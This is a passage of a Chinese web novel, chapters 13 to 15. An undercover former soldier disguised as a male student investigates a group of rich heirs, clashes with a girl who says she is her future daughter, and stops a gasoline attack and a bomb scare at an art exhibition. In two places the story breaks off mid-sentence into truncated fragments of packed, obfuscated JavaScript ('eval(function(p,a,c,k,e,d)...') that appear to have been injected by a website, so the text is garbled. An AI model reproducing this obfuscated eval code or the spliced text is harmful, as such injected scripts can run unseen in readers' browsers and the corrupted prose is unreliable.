祝飞雁简直无语:“……你别入戏太深。” 她坐在机车上没下去,直接伸出手:“头盔还我,赶紧回家。” 祝安宁乖乖把头盔递过去,即将放到祝飞雁手里时突然又一缩。 “等等!”她圆润水灵的眼睛瞪大,十分认真地问:“我可以不影响你,但你得和我说你在做什么,我才能放心。是因为莫子健家公司自杀的主播吗?还是有其它的事?” “……”祝飞雁简直不可置信:“我刚才说的话你是都没听懂吗?” “听懂了啊。”祝安宁点头,又理直气壮地说:“可那不代表我要听你话,以前我就不听,现在更不会。” 莫莉有句话说得对,她和祝飞雁就是一个模子刻出来的,脾气如出一辙,认定的事就绝对不会改变。 但这话到祝飞雁耳朵里妥妥就是挑衅。 她上半身向前一弯,径直伸手夺过头盔,一针见血地点评:“我要真是你妈,早知道会生出你这种左耳朵进右耳朵出的女儿,一定把你掐死在娘胎里。” 祝安宁气得牙痒,不甘示弱:“我要早知道你是这么不负责任的老妈,早八百年我就离家出走!” 祝飞雁没见过这么不吃亏的丫头,祝安宁也没见过这么难搞的人。 两人四目相对,大眼瞪小眼。 许久,祝飞雁才不耐烦地说:“我说过不关你事,知道得越多死得越快,明白吗?” 祝安宁哪管得了这些,当即点头:“我不管!你不说话就是默认,反正我会自己查出来你到底想干什么,有本事你就真把我关起来!” 话落,她猛地将手里的糖葫芦往祝飞雁手里一塞,“给你吃!” 然后她转头就跑。 夜色蔓延,路灯下百褶裙飞扬,少女奔跑的影子被光拉长数倍。 祝飞雁目送她消失在转角,随即看向手里的糖葫芦,始终蹙着的眉端无意识舒展开来。 “神经……”她嗤笑了一声。 脾气还怪执拗,的确有点像她。 但下一秒,她神情一肃,在心里痛斥自己竟然有点相信这种怪力乱神的事了。她干脆下车,将糖葫芦往垃圾桶里一丢,随即扬长而去。 . 凌晨一点。 梧桐湾。 浴室水声一停,祝飞雁擦着头发从卫生间出来,粗暴擦干后,随手将脏毛巾丢在衣篓里,然后赤脚走进书房。 书房内灯光明亮,电脑桌前置放了一块教学白板。 白板上制作了F4及背后四家的完整关系图,图上顶端用图钉钉有十三张女尸照片,照片底部个人信息标注得十分清晰;旁边则是T国警方传回来的车祸现场照片,小汽车几乎被撞烂,经过勘验车子遭遇了反复撞击,那绝对不是酒驾能产生的强度。 祝飞雁站到白板前,用红笔把顾逢秋交际圈里的莫子健打了个红圈,随即写下主播秦麦这个名字。 端详一会,她半靠在电脑椅上,转头看向了亮着的电脑屏幕。 显示屏上是半月前闹得沸沸扬扬的主播跳楼新闻,标题——《草根网红欠下巨债,高楼一跃而下,素人女友痛斥公司无良》。 配图是长相憨厚的秦麦在直播间里搞怪的截图。 秦麦,年仅二十岁,为救重病的母亲弃学开始直播,因风格独特一炮而红,随后与莫子健家的飞扬娱乐签约。而半月前,催债人在直播间大肆刷屏,声称秦麦用巨额打赏去赌博,后来事情上了热搜,不明真相的网友开始谴责秦麦利用悲惨的家庭作秀,飞扬娱乐也起诉他影响了公司名誉权,最终他从高楼跳下,当场身亡,只留下了一份遗书。 如果不是祝安宁提醒,祝飞雁根本不知道还有这桩事发生。 她所有的注意力都在F4身上,但不可能直接找上他们挨个揍一顿问一遍,这只会打草惊蛇,所以只能从旁人入手。 之所以会关注到莫子健,是因为一个视频。 虽然瞿柔在恩德任职期间的资料与监控基本都被人为销毁了,但人在做天在看,上面还是找到了一份没来得及销毁的视频,视频来自于学生会的走廊视频,上面显示莫子健曾将瞿柔领到一个房间,随后顾逢秋进入房间,整整呆了一个多小时才衣衫不整出来。 祝飞雁很清楚,莫子健肯定知道瞿柔失踪到死亡的过程里发生了什么。 最重要的是,她发现飞扬娱乐一大半股份在顾家的寰宇传媒手里,而寰宇传媒赫然在徐庆云给出涉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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祝飞雁在脑海中预设明天会发生的任何一个可能性,突然手机震动了一下,她闭着眼摸到手机,打开发现是祝安宁发来的一个链接。 还没睡?她眉端一皱。 这丫头当真是所有话都当耳旁风。 点进链接,只见加黑加粗的热搜标题十分清晰—— 《法外狂徒突现滨海,大庭广众掳走飞扬娱乐太子爷,生死未卜!》 《飞扬老总声泪俱下,老来得子愿付重金换儿安全归来》 《滨海警方放话,将在三天内将罪犯绳之以法》 配图是一张从监控里截图放大的照片,像素低且模糊,隐隐约约能看到半张被口罩包裹的侧脸;另外还有顾逢秋的采访视频,视频中英俊帅气的青年一脸肃容,义正言辞地指责:“我不知道你到底是谁,但法治社会不容任何犯罪分子苟活,请把我的同学安全送回来!” “……”祝飞雁缓缓坐起来,眼神微妙。 虽然这在她的预料之中,但真看到自己成为罪犯,还是有点诡异的。 尤其是被一个板上钉钉的犯罪嫌疑人指责! 没等她发表一下感言,祝安宁的信息突然接二连三蹦出来。 【奇怪的人】:恭喜你,你被通缉了。 【奇怪的人】:谢谢,我要有一个通缉犯老妈了。幸好我穿到别人身上了,否则得跟你一起被抓吧。 【奇怪的人】:不过顾逢秋真的好贱啊……这货怎么有脸上采访!我要吐了啊!我允许你把他抓起来!! 祝飞雁:“…………” 她实在有点头皮发麻,总感觉自己被狗皮膏药黏上了。 两秒后,祝飞雁果断发过去一条语音:“滚。” 言简意赅,干脆利落! 与此同时,天海湾。 刚点开语音的祝安宁难以置信地瞪着手机,下一秒又跳出来一条文字信息:【小屁孩大半夜不睡觉多事,别再来烦我!小心我翻进天海湾,把你绑起来丢到孤岛上自生自灭。】 祝安宁顿时怒目圆瞪:“这么烦我还不拉黑我?还回什么信息!” ……还挺会嘴硬! 她发了一连串愤怒的表情包过去,然后立刻钻进柔软的被窝,疯狂蹬腿。 “啊啊啊啊祝飞雁我讨厌你!!” 13.Chapter 13 翌日,梧桐湾。 早上五点,床头柜上的闹钟准时发出滴滴滴的声音,只见一只手从被子里伸出,猛地朝摁钮处一拍,闹钟晃了两下斜着倒下,足可见力道之大。 床上。祝飞雁睁开眼睛,瞳底一片清明。 她没睡好,几乎被噩梦纠缠了整整一夜。 梦里她置身无名小岛,暴雨席卷海浪,十三具女尸翻土而出,争先恐后捉住她脚腕,试图将她一起拖入腥臭的泥土。画面一转,四周雾茫一片,浑身血淋的瞿欣游荡在异国他乡的公路,像游魂一样不断朝她靠近,低低地问她什么时候能接她回家。 她全身僵直无法动弹,只能一句句重复:“很快、很快……” 因为她也不知道答案。 人生充满了不确定,祝飞雁不敢保证任何一件事,能做的就是尽自己努力,但她没有想到,祝安宁仅仅说了些似是而非的话,就让一直深埋在潜意识里的恐惧变成了噩梦。 她不知道是否能顺利完成任务,不知道能否还亡者一个公道,更不知道未来自己会死是真是假,更不知道未来的自己是问心无愧还是于心有悔。 静躺一会,祝飞雁深吸口气,掀开被子起床。 唰——!窗帘拉开。 她咬着牙刷,站在落地窗前向下俯瞰,只见无垠天边被阴云笼罩,细雨淙淙,整座滨海市沐浴在晨雨中。 梧桐湾位于市中心寸土寸金的地界,俯瞰下去,几乎能将整个繁华商圈纳入眼底。 房子是徐庆云安排,隶属于海外一对夫妻名下,也就是祝宴身份名义上的爹妈。祝飞雁原本想住自己的房,可惜风里来雨里去干了几年,也只买下了一栋低廉的郊区二手房,距离恩德实在太远。 而梧桐湾离F4很近。 祝飞雁慢吞吞刷着牙,目光落在最高的那幢楼上。 小区开发商正是顾逢秋家,开盘前,他特地给另外三人一人送了一套,以此彰显兄弟情深。 根据调查,顾逢秋常年不回老宅,手底下房产轮着住,梧桐湾这里住得次数最多。 “顾逢秋亲妈是自杀,他爸立马后娶了一个,三人关系很差。而梧桐湾是他妈参与设计,我猜测他是把梧桐湾当成了一种怀念。”徐庆云的声音骤然在脑海中响起。 回忆戛然而止,祝飞雁的视线愈发冷峻。 ……都是放屁。那光鲜亮丽的四人根本就是没有情感的怪物。 她冷笑一声,仿佛再次看到了瞿柔的死亡结论——凌虐致死。没有性侵,单纯是暴虐殴打。 一个活生生的人,先后遭受四肢不同程度的扭断,头颅被重物敲击数下,导致颅骨凹陷,甚至全身上下有不同的割伤、烫伤,连指甲都被拔得一干二净,最后被埋进了孤立深海的无名小岛上,直到暴风雨的肆虐,才得见天日。 祝飞雁见过很多犯罪分子,不是第一次见到这样残忍的罪犯,却是第一次见到这么年轻且饱含恶意的混球。 从法医描述的伤口来看,都能知道对方想让瞿柔遭受怎样难以忍受的痛苦。 他们完全是故意的,就像玩弄一个玩具。 这时,床头柜上手机铃声骤响。 思绪被打断,她转身拿起手机,发现是徐庆云,估计是知道自己有早起的习惯才掐点打来,一接通,沉稳粗重的男声瞬间传来:“醒了?” “嗯。”祝飞雁一边应声,一边走进卫生间洗漱,“许紫衫的信息查到了?” 徐庆云也不废话,立刻道:“基本信息发给你了,两周前她已经被送到了精神病院,你要做什么?” “?” 祝飞雁动作一顿,侧头看了眼手机才问:“她有精神病史?” “以前是个正常人。”徐庆云说,“但现在就不一定了,特案组的人说半月前她和家人出去旅游,结果在酒店遭遇了一场意外火灾,许母重伤还在icu,许父和弟弟当场身亡。” 祝飞雁有那么一瞬间都怔住了。 少顷她不可置信地拧起眉端,情绪顿时宕到谷底。 前段时间还在举报飞扬娱乐坑害男友秦麦,转眼全家死的死伤的伤,脑子进水的人才会信这是意外,看来秦麦的死的确有问题! “怎么不说话,查到什么了吗?”徐庆云问。 祝飞雁果断回:“今晚就能查到了。” 怪不得莫子健敢那么嚣张,原来老的比他更张狂,等见过许紫衫,把他家的腌臢事一摊,这小子不说也得说了! 徐庆云明显是很相信祝飞雁的能力,没有多问,却冷不丁问起昨晚的事:“你交上来的计划里,原本是要等莫子健提供线索才会现身,怎么昨天就闹上新闻了?虽然你现在不是血豹的人了,但临时更改计划还是提前和我说一声,到时候特案组好帮你搞定不该出现的监控。” “……”祝飞雁心想当然是为了救个不知死活的家伙,虽然她非常想坦白,毕竟这货就是个定时炸弹,但她眼前却突然闪过昨晚的公园。 满脸泪光的少女,倔强地瞪着她,仿佛她是什么不可理喻的人。 下一秒,冠冕堂皇的借口脱口而出:“出现了不可抗力,只能提前暴露。” 说完祝飞雁自己也愣了。 她一脸懊恼地吐掉泡沫,注视着镜子里的自己,脸色难看。 闻言,徐庆云的声音逐渐疑惑:“什么不可抗力?” 祝飞雁顿时恼羞成怒:“你管我!我现在只是你的线人,我要做什么心里都有数。没事我就挂了,感恩提供线索!” 话落她猛地挂断锁屏,将手机往洗手池一拍,随即面向镜子,粗暴地捧起一抔冷水搓脸。 她能说遇见了一个傻冒冲上来说自己是她女儿吗?那指定不能,她才不想被当成神经病! 与此同时,军区。 徐庆云站在窗边,不可思议地看着退回通话记录页面的手机,半晌才回头看向卫兵:“她敢挂我电话?” 上回被祝飞雁揍过一顿的卫兵面无表情整理资料,头也不抬地回:“我以为您知道她什么脾气呢。瞿团以前说过,鹰生来翱翔于天际,驯鹰人只能驯养它的习惯却无法掌控它飞翔的本能。现在她自由了,只会更不受约束。” 换句话来说,以前不敢挂那是有教条束缚着。 现在估计连骂人都敢,说不定还敢动手! “……”徐庆云无言以对,背过身望向窗外一望无际的天边,微微眯起了眼。 谁说她自由了?离开只是暂时的。 如此优秀的人,必须要在守护正义的这条路上继续发光发热,当然前提是得先完美地完成这桩卧底任务。 卫兵收拾完办公桌悄声离开,身后的门轻轻合上。徐庆云转身,从抽屉里拿出一部老式翻盖机,拨通一个电话,开门见山地问:“许紫衫是怎么回事?” 那边不知说了什么,徐庆云脸色骤然一变:“你说什么?许紫衫偷跑出去了?” . 早上八点,恩德高二国际B班。 早读课结束,教室里人声鼎沸,人高马大的男同学勾肩搭臂冲向外面的走廊,安静的女同学小口咬着面包。 突然,无数喧嚣中响起一道震惊的女声:“什么?你说你认识怀慈?” 众人的目光纷纷朝靠窗的课桌看去,只见人称八卦小能手的鹿菲菲双手撑住下巴,笑嘻嘻地盯着旁边正写作业的祝宴:“行啊你祝宴,才转来多久,昨天就有学妹叫你爸,今天居然又要和学姐去约会,桃花运不错哦。” 透明玻璃被擦得锃亮,映出了祝飞雁英俊冷硬的侧脸,她正神情专注地对着别人的试卷抄答案,笔速飞快,简直令人眼花缭乱。 鹿菲菲盯了会,还是觉得祝宴的字实在是太丑了,总有种明明在抄作业却抄出了天书的错觉。 “你别写了!等会我给你写!”她直接抽走祝飞雁的笔,然后捧着下巴不耻下问:“兄台,劳烦你跟我说说,你怎么和怀慈认识的?你俩在谈恋爱吗?” “……”祝飞雁手上瞬间空空,沉默两秒,特别一本正经地说:“只是意外认识,不是你们想的那样。” 鹿菲菲是祝飞雁同桌,个性大大咧咧,进校第一天她就对祝飞雁说:“鄙人最善交友,你对我好我对你好,但忌绿茶,属于来一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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另一个女生搬凳子凑近,说相声一样附和:“因为顾逢秋暗恋她。” 鹿菲菲插嘴:“那叫明目张胆的明恋,谢谢。” 那男生立马又道:“上次有个人和怀慈表白,第二天浑身赤条条被绑在体育馆的篮球框上,第三天就休学了。” 紧接着女生一脸不屑地摇摇手指:“哪止,上上回还有个帅姐们喜欢怀慈,当晚就递交了转学申请。” 三人你一言我一句,根本没给祝飞雁说话的空间。 最后,鹿菲菲郑重地拍拍她肩膀,握拳作鼓励状,然后意味深长地说:“祝兄,祝你安好。希望明天还能见到你,毕竟你是我十几年来第一个帅哥同桌。” 祝飞雁:“…………” 她无语地看了眼肩膀上的手,心想能有这么夸张? 虽然根据信息显示,顾逢秋的确很狂妄自大,但也不至于见人就咬吧?到时候怀慈也在现场,估计他不一定敢。 但很快,祝飞雁就得到了答案。 下午画展中心,一身白裙的怀慈如约而至,两人欣赏着丹尼斯的画作,祝飞雁绞尽脑汁胡诹各种文化意义,就差没肚子里的墨水全掏出来了。 两人相谈甚欢,却见显眼的红色平头突然出现在门口,众人交头接耳,议论纷纷。 “小顾总?”“谁啊?”“顾家太子爷……” 诸如此类的惊呼数不胜数。 正当祝飞雁做好了针锋相对的准备时,只见顾逢秋大步流星走到她们面前,冷冰冰盯着她,几乎是咬牙切齿地开口:“你们俩还真在一起看画展?” 下一秒,他猛地瞥向怀慈,从身后拎出一个低着头的女生:“我约你你不出来?你跟这小子出来?他有什么好?你知不知道他玩得很花,这个女人都叫他爸!” 怀慈一怔:“这是?” 低着头的女生浑身一颤,紧接着缓缓抬头,冲祝飞雁小心翼翼地嘿嘿笑了一声:“sorry,我还在抄作业呢就被他抓来了,说是要带我来捉奸。” “……”祝飞雁头疼扶额,心如死灰。 该死的祝安宁!! 14.Chapter 14 打死祝安宁都没想到,有一天自己也会成为万众瞩目的焦点,紧赶慢赶抄作业呢,下一秒被风云人物当场拎出教室,然后被推上跑车一路飙到这里,直到现在,耳边似乎还回荡着同学们惊喜的尖叫声。 那场面,基本也和狗血偶像剧里路人狂欢没两样了。 “吓得我还以为在拍电视剧呢,反正他一路装得很,也不说话,但我问他有没有驾照的时候,他才说是要来捉奸。”祝安宁感觉自家老妈的眼神跟钉子一样,老老实实把事实说完后,头已经快垂到胸口了。 她实在没忍住小声嘟囔:“又不是我要来的,人家也很无辜的好嘛……” “……”祝飞雁差点没当场气笑。 还无辜?要不是她冲上来叫那一声爸,之后就没这些糟心事! 这时,注意到关键词的怀慈发出了灵魂质问:“捉奸?” 祝飞雁反应极快,立刻拱火:“什么捉奸?” 顾逢秋理直气壮:“……难道不是吗?是你俩背着我来约会。” 鬼知道当他听说新来的转学生要和怀慈一起来看画展时有多生气,那是一种所有物被侵占的感觉,就像幼年养的一只纯血统小鹿犬,仅仅是被明流摸了两下,他就觉得它脏了,不配了。 而脏掉的东西就该丢了,所以他把它掐死丢到了明流的被窝。 宽阔大气的展厅里,一幅极具史诗感的油画前。只见怀慈缓缓抬起下巴,看向顾逢秋的眼中,厌恶毫不掩饰:“请你不要在大庭广众下乱说话,你也没资格一次一次胡乱揣测我和别人的关系,我想和谁出来那是我的自由,与你无关。” “我没资格?那谁有?”顾逢秋眉端紧皱。 他不爽地松开祝安宁,指向祝飞雁:“他吗?” 很多人都知道顾逢秋喜欢怀慈,却没人知道他到底有多喜欢她,那简直是含在嘴里怕化了,捧在手心怕摔了的深刻感情!金钱、臣服、地位……明明任何东西都唾手可得,但顾逢秋从来不愿意强迫她,因为只有她曾经朝他伸出援手,将他从肮脏古怪的家庭拯救出来。 这一喜欢,就是十几年。 对他而言,怀慈就是稀烂人生的救赎。 “你和他认识才多久,居然为了他当面羞辱我?”顾逢秋不可思议地说,“我们五岁就认识,这些年哪怕是一块石头都该捂热了,难道你真的看不见我的用心吗?” 旁边,莫名被cue的祝飞雁无声挑眉。 这话听起来好像很深情的样子,但这货哪来的脸?表面痴心一片,背地里三天两头换女友,标准典男一个。 她看向怀慈,只见头顶聚焦画作的射灯投下来,映得怀慈精致大气的面庞更加深邃,冷光打在鼻梁上,下面薄唇抿成一条直线,显然很生气。 没有一丝丝迟疑,祝飞雁装模作样轻叹一口气,转眼望向顾逢秋:“同学,上次我已经和你解释了,我和怀学姐真没什么。” 闻言,怀慈脸色更冷:“上次?” “嗯嗯!”祝飞雁特别诚实:“就昨天。薛沐不爽我和她分手,当众叫我爸想让我丢人,我俩探讨着呢他突然叫我出去,问我是不是认识你,还说什么不该碰的人别碰……” 她顿了顿,紧接着冲顾逢秋微微一笑:“不好意思你别误会,我和怀学姐只是有共同爱好,如果你不喜欢,那我以后不约学姐出来了。” 顾逢秋:?? 特么这狗男人这么茶吗? 与此同时,祝安宁默默举手,煽风点火道:“我作证!” 但没人知道,她内心只剩下了一个念头——谁懂啊!老妈居然如此深谙绿茶之道!说完她立刻偷瞄祝飞雁,甩过去一个求夸奖的微笑。 祝飞雁抬眼望天,装作没看见。 “……”祝安宁脸一垮,委屈努嘴。 顾逢秋这要是听不出拱火的意思就算白活了,顿时恼羞成怒:“你们这对狗男女给我闭嘴!” 他暴躁地捋了一把平头,深吸一口气,再次看向怀慈:“别听他乱说,我只是担心有不好的人靠近你。” 下一秒,果然怀慈被彻底激怒,几乎是用极度嫌弃的目光上下打量顾逢秋,随即冷声道:“你真的太过分了,三番两次用这种龌龊的手段赶走我身边的人,你简直有病!我总算知道什么叫农夫与蛇,要早知道你是这种疯子,当年就不应该帮你,就该让你……” 但话说到一半,顾逢秋突然冷喝一声打断了怀慈。 “怀慈,有些话说出来事情就变味了。”他注视着怀慈,最终还是选择退让:“你先跟我走,我们好好聊聊。” 说话的同时,他快步上前,粗暴地捉住了怀慈的手臂。 这里动静本来就不小,吃瓜是人的天性,此刻一帮人更是将这里围成了一个圈。或低或高的议论声纷涌,展厅的保安想要上前,却一听说顾逢秋的身份到底停在了不远处,只能拿出对讲机呼叫经理过来。 “你放手!”怀慈被攥得生疼,求救般看向祝飞雁:“我不想跟他走!” 顾逢秋的表现在祝飞雁的意料之中,或者说除了祝安宁一切都在她预设的可能性中,正当她准备施展‘不打不相识’的第二步计划时,突然,只见一个身穿黑衣夹克衫的女人拨开人群冲了过来,手里还提着一桶黄色的液体,正边走边打开盖子。 看清对方面孔的那一刻,她猛地一惊。 许紫衫?! 顺着许紫衫冰冷的视线,祝飞雁这才察觉到对方似乎是冲顾逢秋来的。 来不及思考了,她眼疾手快一手捞一个,先将祝安宁和怀慈往身后一扯,然后立刻转身,猛地一脚踹向顾逢秋胸口。 她发誓这一脚绝对带了私人情感,所以力气有多大估计只有顾逢秋知道了,难以想象的力道冲过来,根本来不及反应的顾逢秋甚至清晰地听到了骨裂的声音,整个人飞摔出去,直至滚到墙边才停下。 剧烈的冲击让墙壁上的画框都歪斜着掉了下来。 他干呕了好几下,少顷骂骂咧咧起身:“祝宴!你他……” 也就是这一瞬间,许紫衫已经打开桶盖,作出抛泼的姿势。 哗啦啦—— 刺鼻的液体瞬间兜头淋下,祝飞雁站在原地,浑身湿透。少顷她面无表情抹干净脸,并朝地上吐出一口灌涌到口腔的液体。 事情发生得太快,所有人都吓了一跳,纷纷往后退开,不断发出惊呼。 嘈杂声中,祝安宁心头一慌,下意识想上前却被怀慈一把拉住。 “是汽油。”怀慈冲她摇摇头,“危险。” 汽油?!祝安宁倏然看向祝飞雁。 砰砰砰,她感觉心脏似乎都要跳出来了。 同一时刻,祝飞雁静立在原地,她当然也闻到了汽油的味道,虽然不知道许紫衫为什么会找上顾逢秋,用汽油泼人,显然是带着同归于尽的心思。 但顾逢秋现在还不能死! 她甩了甩头,第一时间怒喝:“都给我离远点!” 紧接着,她大步流星朝许紫衫跑去:“顾逢秋,跑!” …… 短短四个字,饱含森寒冷峻的意味。 顾逢秋终于意识到事情不对劲,连忙捂着胸口艰难爬起,然而下一秒,只见许紫衫见泼错了人,立刻从口袋里掏出一瓶装有汽油的小矿泉水瓶,简直像疯了一样扑向顾逢秋。 许紫衫步伐迈得极大,连扑带摔:“去死!你也得去死!” 顾逢秋感觉这辈子都没有跑这么快过,可汽油很快蔓延到脚下,光滑的地板滑得像是冰面,他摔回墙壁,还没爬起来,又一抔汽油扑面而来。 冰冷黏腻的油味瞬间充斥鼻腔,他手忙脚乱擦眼。 睁眼的刹那,就见许紫衫已经扑到了跟前,她死死抱住顾逢秋将他压在角落,旋即啪嗒一声,他听见了打火机的声音。 “……放开!!”顾逢秋脑子都是混沌的,开始奋力挣扎,奈何刚才祝飞雁那一脚踹得他浑身无力,许紫衫又像个树袋熊,整个人近乎脸贴脸埋在他胸前,根本挣脱不开。 两人撕扯间,他惊恐的眼中,映出了许紫衫缓缓侧过来的面孔,笑容疯狂:“你得和我一起下地狱。” 地上的汽油倒映着打火机那一簇幽蓝的火光。 众人开始四散奔逃,场面顿时乱作一团。 没人敢上前,保安们气急败坏护送其余人出去,有人在大吼:“报警!灭火器!快快快!!” 顾逢秋冷汗涔涔,看不到许紫衫在做什么,但他后背处滚烫无比。 那一簇火似乎在背上燃烧。 人在濒死之际能爆发出强烈的求生欲,可许紫衫的力道简直固若金汤,她就像一只恶鬼,四肢并用紧抱住他,势必要融为一体才甘心。 “我妈从小就教我要说实话,要做一个正义善良的人,我说了,可我突然发现这个恶臭的世界并不需要实话,只需要利益。人们也不会记得实话,只听得进去对自己有益的话。” “我已经被你们毁了,秦麦死了,我爸死了,弟弟死了,我什么都没了。所以 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压在身上的人被活生生扯了起来,女人愤怒的尖叫声中,只见祝宴以一个非常标准的擒拿姿势将对方手臂反扭在背后,膝盖顶着对方背部,将其用力压在地上。 “你没事吧?”然后他喘着粗气朝顾逢秋看过来,目露担忧。 顾逢秋不由自主摇了摇头,一言不发。 这分这秒,古怪的,他突然想问问这人是不是什么圣父,居然冒死救一个毫不相干的人,一旦没来得及踢走火机,以汽油燃烧的速度,大家都会死。 …… 祝飞雁简直是拿出毕生演技在装“圣父”。 虽然她比谁都希望顾逢秋最好死在这里,但真相还没大白,漂泊在海上的冤魂还未归家,尘埃落定前他不可以死。 见行凶者被压制,祝安宁心惊胆战地跑上来,一句妈脱口而出,但意识到差点说错话连忙改口:“妈、妈呀!这到底怎么回事!” “离远点!”祝飞雁火气上来,“你问我我怎么知道!” 此刻,身下的许紫衫挣扎剧烈,正暴怒地哭喊着:“你们都是与魔鬼为伍的恶鬼!放开我!!” 言辞理智清晰,明显不是精神病患者。 背后有什么原因,无从得知。 但祝飞雁很清楚,以她的力气都很难完全压制住许紫衫,那她一定是愤怒到极点,带着必死的决心来,试图给自己讨一个公道。 她没法在这里询问许紫衫,无声咬紧腮帮子,少顷狠狠咬了一口腮肉,用十足的力道抵住许紫衫,语气里带着怒意:“有什么事不会报警?法律法规是白纸吗?当众行凶你知不知道要坐几年牢?” “报警、法律……”许紫衫整张脸都被压在地面的汽油上。 地面倒映出祝飞雁肃然的表情,她死死盯着顾逢秋的方向,突兀地笑了起来:“有这种东西吗?我怎么不知道?我还以为这种东西根本就是为了有权有势的人服务的呢!” 面对斥责,祝飞雁抿唇不语,视线垂下。 只见一颗晶莹的眼泪顺着许紫衫的眼角滑下,泪水淌进油中,晶莹浑圆,许紫衫冷冷地笑起来:“说这种风凉话的你真伟大啊,你太伟大了。哪天你全家死光了,再来和我说这么正义的话!” 紧接着,她费力地侧眼,自下而上望向祝飞雁:“长得倒是人模狗样,但你就是一个助纣为虐的刽子手!我呸!” 她突然朝祝飞雁吐了一口口水,然后哈哈大笑起来。 “……”即使到这一刻,祝飞雁仍然没有忘记首要任务是进入小团体。 许紫衫想要公道,她想要真相大白。 她早就做好了被当成罪犯、为虎作伥的坏胚的准备,这是她必须要付出的代价,即使她比任何一个人想干脆的、直接的方式审问四人。 沉默半晌,祝飞雁心平气和地说着违心的话:“如果你认为我是,那我就是。无论你发生了什么事,都不是你伤害我同学的理由,就算他真的罪大恶极,也该遭受法律的审判,而不是私刑。” 她平静地回望许紫衫,无意中却看到了她凌乱发间有一个闪烁着蓝光的无线耳机。 “?” 祝飞雁脸色一变,立刻腾出手拿起来放到耳边,伴随着许紫衫的怒骂,只听见一道沙哑的电子音响起:“你错了,深埋在滨海的罪恶需要彻底拔除,面对这些人就需要私刑,滨海才能迎来黎明。祝宴,你的反应很快,但下一次你绝对救不了他。” 有人在指挥许紫衫?还知道她名字? 她眉头顿时一皱,下意识抬眼看向展厅外。 15.Chapter 15 “不用找了,我只是一粒微不足道的尘埃。”粗哑的电子音在耳机里响起。声线被刻意改变,戏谑的语调却无法更改。 ……对方就在这里。 祝飞雁眉心拧得更紧了,单膝压住许紫衫,一手握着耳机,望向展厅外。 越过一圈围观的观展人,只见路边也堵了不少人,正纷纷探头往里面看,保安护着姗姗来迟的经理终于赶到,人头窜动,场面混乱。 每一个人的表情都是一样惊慌好奇,任由看穿了也找不出嫌疑人。但就在保安冲上来帮忙时,人群中一个瘦削的兜帽青年突然高举手,直接将手里一个足小臂长的盒子朝展厅抛进来。 哐当!盒子坠地,翻滚两圈停住。 突如其来的东西吸引了所有人的视线,有人仓皇地问:“那是什么!” 与此同时,耳机里的电子音再度响起:“祝你好运。” 滴、滴、滴—— 嘈杂人声中夹杂着清晰的倒计时声,祝飞雁曾经当过一段时间的狙击手,耳尖目明是基本要求,几乎是立刻察觉到危险,连忙冲保安咆哮:“有炸弹!快点离开这里!!” 众人顿时陷入了更加疯狂的混乱,四散奔逃。 她再也顾不上许紫衫,立马松手,刚想起身拉祝安宁走,然而许紫衫似乎就是在等这一刻,猛地翻身狠狠一口咬在她手背上。 “你活该!”近乎疯魔的许紫衫双眼猩红,宛如在看一个十恶不赦的王八蛋。 鲜血顺着手臂滑下,祝飞雁面不改色,冷静地回头命令怀慈将祝安宁带走,同时反拽住许紫衫的手臂往后拖,那平静模样仿佛那一口只是咬在了棉花上。 许紫衫本身就是要逃的,挣扎十分剧烈,一边痛骂:“混蛋!你放开我!” 祝飞雁一言不发,趁乱把一直藏在兜里的定位器塞进了她衣兜,下一秒直接松手。 砰!许紫衫因为惯性摔回地面,却完全没发现她的小动作,一获得自由,几乎是毫不犹豫跑向大门口。 祝飞雁也立刻转身狂奔,顺手一把拽起蒙圈的顾逢秋,推着他往安全的地方跑。 没两步就追上了怀慈和祝安宁,只见祝安宁腿似乎软了,像只鹌鹑连滚带爬地在跑。 来不及骂人,她眼疾手快捞起祝安宁往肩上一扛,并冲前方找地躲的工作人员大喝:“快把仓库的门打开!” 瞬间腾空的祝安宁吓得失声尖叫,只感觉一只强健有力的手臂禁锢在腰间,力道极大。 等回过神,就见祝飞雁已经左手牵起怀慈,一路朝仓库狂奔的同时,干脆利落一脚踹上顾逢秋的屁股:“蠢猪吗你,逃命都不知道跑快点?小脑发育不完全就算了,长两条腿走路都打颤是吗?” 那一脚估计没收力,顾逢秋整具身体被踹成了C型,直接飞扑出去,裤子上瞬间出现一个清晰的脚印。但生死之际,他敢怒不敢言,只能捂着屁股爬起来,骂骂咧咧往前跑。从接连蹦出来的脏话来看,显然气急败坏了。 也就是这一瞬间,在自家老妈宽阔肩上颠簸的祝安宁莫名有种错觉——祝飞雁这哪是来卧底的,分明就是来“关爱”一帮不省心的孩子的嘛! 在工作人员提前打开门的情况下,四人几乎是陆续冲进仓库,堆放杂物的仓库里已经挤了不少人,都缩在角落哆嗦着。 砰!门重重关上。 祝飞雁总算是松了口气,先把祝安宁放下,紧接着回头就朝顾逢秋脸上狠狠打了一拳。 众人一惊,大气不敢出。 闭塞狭小的仓库里灯光闪烁,气氛一时间仿佛凝滞了。 祝飞雁这一拳砸下去,即使刻意收力,体重两百斤的壮汉都得晕上几秒,更何况顾逢秋这个中看不中用的家伙,他瞬间连连后退,直到跌靠到一幅画上才回神。 血腥味骤然充斥鼻腔,他伸手摸去,指尖赫然一片血色,下一秒他猛地抬头看向祝飞雁:“你打我?!” “打的就是你。”祝飞雁面无表情拉伸五指,心想就一拳还没打爽呢。等线索收集得差不多,这崽种没被打到骨裂都对不起她的退役! 不过现在最重要的是许紫衫。 短短几分钟内实在是发生了太多事,无论是泼汽油还是抛炸弹,简直让人毛骨悚然。许紫衫袭击,兜帽男帮忙逃脱,耳机里的人应该是指挥者,听起来很装的样子,所以这根本就是一次有预谋且针对性极强的犯罪! 似乎是……有人在帮她报仇? 目前没有证据,祝飞雁不敢乱下定论,但计划接连被打断,心里一股火已经蹭蹭蹭上来,她感觉自打祝安宁出现,事情都乱套了! 眼下压根不想再忍,她径直走到顾逢秋面前,居高临下地俯视他:“看起来对方是冲你来的,如果不是你今天过来,这里所有人都不会落到这么危险的处境。” 